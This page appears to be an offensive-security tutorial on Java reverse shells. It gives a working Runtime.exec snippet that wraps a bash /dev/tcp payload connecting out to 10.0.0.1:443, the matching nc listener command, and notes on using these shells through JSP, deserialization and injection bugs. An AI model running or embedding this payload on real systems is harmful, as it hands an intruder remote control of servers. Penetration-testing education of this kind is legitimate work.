Java Reverse Shell: Runtime.exec and the App-Server Context
How a Java reverse shell works via Runtime.exec wrapping a bash payload, the pure-socket alternative, and why it shows up in JSP and deserialization bugs.
Java rarely gives you a tidy one-liner the way bash or python do, but it is where a huge amount of real code execution happens — JSP webshells, deserialization bugs, expression-language injection, and the Log4Shell-class vulnerabilities all land you inside a JVM. So it is worth knowing the two shapes a Java reverse shell takes.
The Common Approach: Shell Out via Runtime.exec
The pragmatic Java reverse shell does not reimplement sockets — it asks the OS shell to do the work, wrapping the bash /dev/tcp payload:
String[] cmd = {
"/bin/bash", "-c",
"exec 5<>/dev/tcp/10.0.0.1/443;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
Passing the payload as a String[] (not a single string) matters: Runtime.exec does not parse shell metacharacters, so the redirections only work because you explicitly invoke bash -c. This is the form you drop into a JSP or an injection point. Catch it with nc -lvnp 443.
The Pure-Java Alternative
When there is no bash — a Windows JVM, or a stripped container — build the shell in Java itself: open a Socket, start a ProcessBuilder for cmd.exe//bin/sh, and pump the streams between them. It is verbose (dozens of lines, usually compiled to a .class or embedded in a JSP) rather than a one-liner, but it has no external dependency. Reach for it only when the Runtime.exec + bash route is unavailable.
Why It Matters: the JVM Is a Big Target
Java reverse shells are disproportionately useful because of where JVM code execution comes from:
- JSP webshells — see webshell vs reverse shell.
- Insecure deserialization in Java apps.
- Expression-language / template injection (OGNL, SpEL, etc.).
In each case you are already executing inside the application server (often as a privileged service account), and the Java payload turns that into an interactive session.
When It Won't Connect
- No bash for the
Runtime.execroute — use the pure-Java form or another payload. - Argument parsing — remember
Runtime.execneeds theString[]+bash -cwrapper; a single string will not honour the redirections. - Egress filtered — prefer
443/80; test per egress filtering. - Listener mismatch — see choosing a listener.
Full triage: why reverse shells fail.
Generate the Underlying Payload
The reverse shell generator produces the bash payload you wrap in Runtime.exec (and others) with your LHOST/LPORT and the matching listener.
Authorized Testing Only
Use Java reverse shells only against systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.